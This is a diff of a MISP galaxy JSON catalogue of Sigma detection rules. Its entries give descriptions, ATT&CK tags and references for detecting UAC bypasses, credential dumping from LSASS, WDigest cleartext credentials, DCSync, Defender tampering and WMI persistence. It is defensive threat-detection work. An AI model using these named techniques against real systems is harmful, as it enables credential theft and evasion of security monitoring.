"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ], - "creation_date": "2017/03/17", - "filename": "registry_set_uac_bypass_sdclt.yml", - "author": "Omer Yampel, Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", - "uuid": "6597be7b-ac61-4ac8-bef4-d3ec88174853", - "value": "UAC Bypass Abusing Winsat Path Parsing - Registry", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "registry_set_uac_bypass_winsat.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", - "uuid": "5f9db380-ea57-4d1e-beab-8a2d33397e93", - "value": "UAC Bypass Using Windows Media Player - Registry", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "registry_set_uac_bypass_wmp.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", - "uuid": "46490193-1b22-4c29-bdd6-5bf63907216f", - "value": "VBScript Payload Stored in Registry", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2021/03/05", - "filename": "registry_set_vbs_payload_stored.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", - "uuid": "fc014922-5def-4da9-a0fc-28c973f41bfb", - "value": "Execution DLL of Choice Using WAB.EXE", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", - "https://twitter.com/Hexacorn/status/991447379864932352", - "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/13", - "filename": "registry_set_wab_dllpath_reg_change.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", - "uuid": "d6a9b252-c666-4de6-8806-5561bbbd3bdc", - "value": "Wdigest Enable UseLogonCredential", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2019/09/12", - "filename": "registry_set_wdigest_enable_uselogoncredential.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when attackers or tools disable Windows Defender functionalities via the windows registry", - "uuid": "0eb46774-f1ab-4a74-8238-1155855f2263", - "value": "Disable Windows Defender Functionalities Via Registry Keys", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", - "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/01", - "filename": "registry_set_windows_defender_tamper.yml", - "author": "AlertIQ, J\u00e1n Tren\u010dansk\u00fd, frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Administrator actions" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n", - "uuid": "f7997770-92c3-4ec9-b112-774c4ef96f96", - "value": "Winlogon AllowMultipleTSSessions Enable", - "meta": { - "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/09/09", - "filename": "registry_set_winlogon_allow_multiple_tssessions.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitmate use of the multi session functionality" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n", - "uuid": "bbf59793-6efb-4fa1-95ca-a7d288e52c88", - "value": "Winlogon Notify Key Logon Persistence", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md#atomic-test-3---winlogon-notify-key-logon-persistence---powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_notify_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.004" - ], - "creation_date": "2021/12/30", - "filename": "registry_set_winlogon_notify_key.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", - "uuid": "a1b1fd53-9c4a-444c-bae0-34a330fc7aa8", - "value": "Add DLLPathOverride Entry For Persistence", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/naturallanguage6.html", - "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/regsitry_set_natural_language_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "regsitry_set_natural_language_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects Accessing to lsass.exe by Powershell", - "uuid": "3f07b9d1-2082-4c56-9277-613a621983cc", - "value": "Accessing WinAPI in PowerShell for Credentials Dumping", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2020/10/06", - "filename": "sysmon_accessing_winapi_in_powershell_credentials_dumping.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", - "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77", - "value": "Sysmon Configuration Change", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/01/12", - "filename": "sysmon_config_modification.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative action" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", - "uuid": "815cd91b-7dbc-4247-841a-d7dd1392b0a8", - "value": "Sysmon Configuration Error", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ], - "creation_date": "2021/06/04", - "filename": "sysmon_config_modification_error.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate administrative action" - ], - "logsource.category": "sysmon_error", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", - "uuid": "1f2b5353-573f-4880-8e33-7d04dcf97744", - "value": "Sysmon Configuration Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ], - "creation_date": "2021/06/04", - "filename": "sysmon_config_modification_status.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate administrative action" - ], - "logsource.category": "sysmon_status", - "logsource.product": "windows" - } - }, - { - "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.", - "uuid": "e554f142-5cf3-4e55-ace9-a1b59e0def65", - "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_dcom_iertutil_dll_hijack.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1021.003" - ], - "creation_date": "2020/10/12", - "filename": "sysmon_dcom_iertutil_dll_hijack.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Triggers on any Sysmon file block executable event. Which should indicates a violation of the block policy set", - "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2", - "value": "Sysmon Blocked Executable", - "meta": { - "refs": [ - "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/08/16", - "filename": "sysmon_file_block_exe.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_block", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", - "uuid": "c4b890e5-8d8c-4496-8c66-c805753817cd", - "value": "Sysmon Process Hollowing Detection", - "meta": { - "refs": [ - "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", - "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055.012" - ], - "creation_date": "2022/01/25", - "filename": "sysmon_process_hollowing.yml", - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S", - "level": "high", - "falsepositive": [ - "There are no known false positives at this time" - ], - "logsource.category": "process_tampering", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of WMI event subscription persistence method", - "uuid": "0f06a3a5-6a09-413f-8743-e6cf35561297", - "value": "WMI Event Subscription", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.003" - ], - "creation_date": "2019/01/12", - "filename": "sysmon_wmi_event_subscription.yml", - "author": "Tom Ueltschi (@c_APT_ure)", - "level": "medium", - "falsepositive": [ - "Exclude legitimate (vetted) use of WMI event subscription in your network" - ], - "logsource.category": "wmi_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious encoded payloads in WMI Event Consumers", - "uuid": "83844185-1c5b-45bc-bcf3-b5bf3084ca5b", - "value": "Suspicious Encoded Scripts in a WMI Consumer", - "meta": { - "refs": [ - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_encoded_scripts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.persistence", - "attack.t1546.003" - ], - "creation_date": "2021/09/01", - "filename": "sysmon_wmi_susp_encoded_scripts.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "wmi_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", - "uuid": "fe21810c-2a8c-478f-8dd3-5a287fb2a0e0", - "value": "Suspicious Scripting in a WMI Consumer", - "meta": { - "refs": [ - "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", - "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005" - ], - "creation_date": "2019/04/15", - "filename": "sysmon_wmi_susp_scripting.yml", - "author": "Florian Roth, Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Legitimate administrative scripts" - ], - "logsource.category": "wmi_event", - "logsource.product": "windows" - } - } - ], - "version": 1 -} \ No newline at end of file + "authors": [ + "@Joseliyo_Jstnk" + ], + "category": "rules", + "description": "MISP galaxy cluster based on Sigma Rules.", + "name": "Sigma-Rules", + "source": "https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma", + "type": "sigma-rules", + "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", + "values": [ + { + "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "av_exploiting.yml", + "level": "critical", + "logsource.category": "antivirus", + "logsource.product": "No established product", + "refs": [ + "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_exploiting.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "238527ad-3c2c-4e4f-a1f6-92fd63adb864", + "value": "Antivirus Exploitation Framework Detection" + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/16", + "falsepositive": [ + "Unlikely" + ], + "filename": "av_hacktool.yml", + "level": "high", + "logsource.category": "antivirus", + "logsource.product": "No established product", + "refs": [ + "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_hacktool.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ] + }, + "uuid": "fa0c05b6-8ad3-468d-8231-c1cbccb64fba", + "value": "Antivirus Hacktool Detection" + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a password dumper", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "av_password_dumper.yml", + "level": "critical", + "logsource.category": "antivirus", + "logsource.product": "No established product", + "refs": [ + "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", + "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_password_dumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1558", + "attack.t1003.001", + "attack.t1003.002" + ] + }, + "uuid": "78cc2dd2-7d20-4d32-93ff-057084c38b93", + "value": "Antivirus Password Dumper Detection" + }, + { + "description": "Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .", + "meta": { + "author": "Sittikorn S, Nuttakorn T, Tim Shelton", + "creation_date": "2021/07/01", + "falsepositive": [ + "Unlikely, or pending PSP analysis" + ], + "filename": "av_printernightmare_cve_2021_34527.yml", + "level": "critical", + "logsource.category": "antivirus", + "logsource.product": "No established product", + "refs": [ + "https://twitter.com/mvelazco/status/1410291741241102338", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_printernightmare_cve_2021_34527.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1055" + ] + }, + "uuid": "6fe1719e-ecdf-4caf-bffe-4f501cb0a561", + "value": "Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection" + }, + { + "description": "Detects a highly relevant Antivirus alert that reports ransomware", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/12", + "falsepositive": [ + "Unlikely" + ], + "filename": "av_ransomware.yml", + "level": "critical", + "logsource.category": "antivirus", + "logsource.product": "No established product", + "refs": [ + "https://www.nextron-systems.com/?s=antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_ransomware.yml" + ], + "tags": [ + "attack.t1486" + ] + }, + "uuid": "4c6ca276-d4d0-4a8c-9e4c-d69832f8671f", + "value": "Antivirus Ransomware Detection" + }, + { + "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", + "meta": { + "author": "Florian Roth, Arnim Rupp", + "creation_date": "2018/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "av_relevant_files.yml", + "level": "high", + "logsource.category": "antivirus", + "logsource.product": "No established product", + "refs": [ + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_relevant_files.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588" + ] + }, + "uuid": "c9a88268-0047-4824-ba6e-4d81ce0b907c", + "value": "Antivirus Relevant File Paths Alerts" + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", + "meta": { + "author": "Florian Roth, Arnim Rupp", + "creation_date": "2018/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "av_webshell.yml", + "level": "high", + "logsource.category": "antivirus", + "logsource.product": "No established product", + "refs": [ + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", + "https://github.com/tennc/webshell", + "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", + "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", + "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", + "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", + "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", + "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", + "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "fdf135a2-9241-4f96-a114-bb404948f736", + "value": "Antivirus Web Shell Detection" + }, + { + "description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/08/05", + "falsepositive": [ + "Application bugs" + ], + "filename": "appframework_django_exceptions.yml", + "level": "medium", + "logsource.category": "application", + "logsource.product": "django", + "refs": [ + "https://docs.djangoproject.com/en/1.11/ref/exceptions/", + "https://docs.djangoproject.com/en/1.11/topics/logging/#django-security", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "fd435618-981e-4a7c-81f8-f78ce480d616", + "value": "Django Framework Exceptions" + }, + { + "description": "Generic rule for SQL exceptions in Python according to PEP 249", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/08/12", + "falsepositive": [ + "Application bugs" + ], + "filename": "app_python_sql_exceptions.yml", + "level": "medium", + "logsource.category": "application", + "logsource.product": "python", + "refs": [ + "https://www.python.org/dev/peps/pep-0249/#exceptions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "19aefed0-ffd4-47dc-a7fc-f8b1425e84f9", + "value": "Python SQL Exceptions" + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_atsvc_lateral_movement.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ] + }, + "uuid": "0fcd1c79-4eeb-4746-aba9-1b458f7a79cb", + "value": "Remote Schedule Task Lateral Movement via ATSvc" + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_atsvc_recon.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" + ], + "tags": "No established tags" + }, + "uuid": "f177f2bc-5f3e-4453-b599-57eefce9a59c", + "value": "Remote Schedule Task Recon via AtScv" + }, + { + "description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_dcsync_attack.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/techniques/T1033/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" + ], + "tags": [ + "attack.t1033" + ] + }, + "uuid": "56fda488-113e-4ce9-8076-afc2457922c3", + "value": "Possible DCSync Attack" + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Legitimate usage of remote file encryption" + ], + "filename": "rpc_firewall_efs_abuse.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" + ], + "tags": [ + "attack.lateral_movement" + ] + }, + "uuid": "5f92fff9-82e2-48eb-8fc1-8b133556a551", + "value": "Remote Encrypting File System Abuse" + }, + { + "description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Remote administrative tasks on Windows Events" + ], + "filename": "rpc_firewall_eventlog_recon.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml" + ], + "tags": "No established tags" + }, + "uuid": "2053961f-44c7-4a64-b62d-f6e72800af0d", + "value": "Remote Event Log Recon" + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task", + "meta": { + "author": "Sagie Dulce, Dekel Paz", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "rpc_firewall_itaskschedulerservice_lateral_movement.yml", + "level": "high", + "logsource.category": "application", + "logsource.product": "rpc_firewall", + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + 